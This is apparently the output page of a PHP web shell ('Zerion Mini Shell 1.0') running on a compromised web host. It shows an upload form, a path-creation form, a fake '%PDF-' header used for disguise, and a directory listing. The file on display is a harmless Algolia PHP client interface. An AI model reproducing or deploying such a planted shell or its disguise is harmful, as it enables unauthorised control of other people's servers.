%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/algolia/algoliasearch-client-php/src/Http/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/algolia/algoliasearch-client-php/src/Http/HttpClientInterface.php

<?php

namespace Algolia\AlgoliaSearch\Http;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

interface HttpClientInterface
{
    /**
     * The method takes a PSR request and 2 timeouts, dispatch
     * the call and must return a PSR Response.
     *
     * If the HTTP layer throws exception in case of error 4xx or 5xx
     * for instance, they must be converted to a Response to keep
     * the retry strategy working as expected.
     *
     * @param int $timeout
     * @param int $connectTimeout
     *
     * @return ResponseInterface
     */
    public function sendRequest(RequestInterface $request, $timeout, $connectTimeout);
}

Zerion Mini Shell 1.0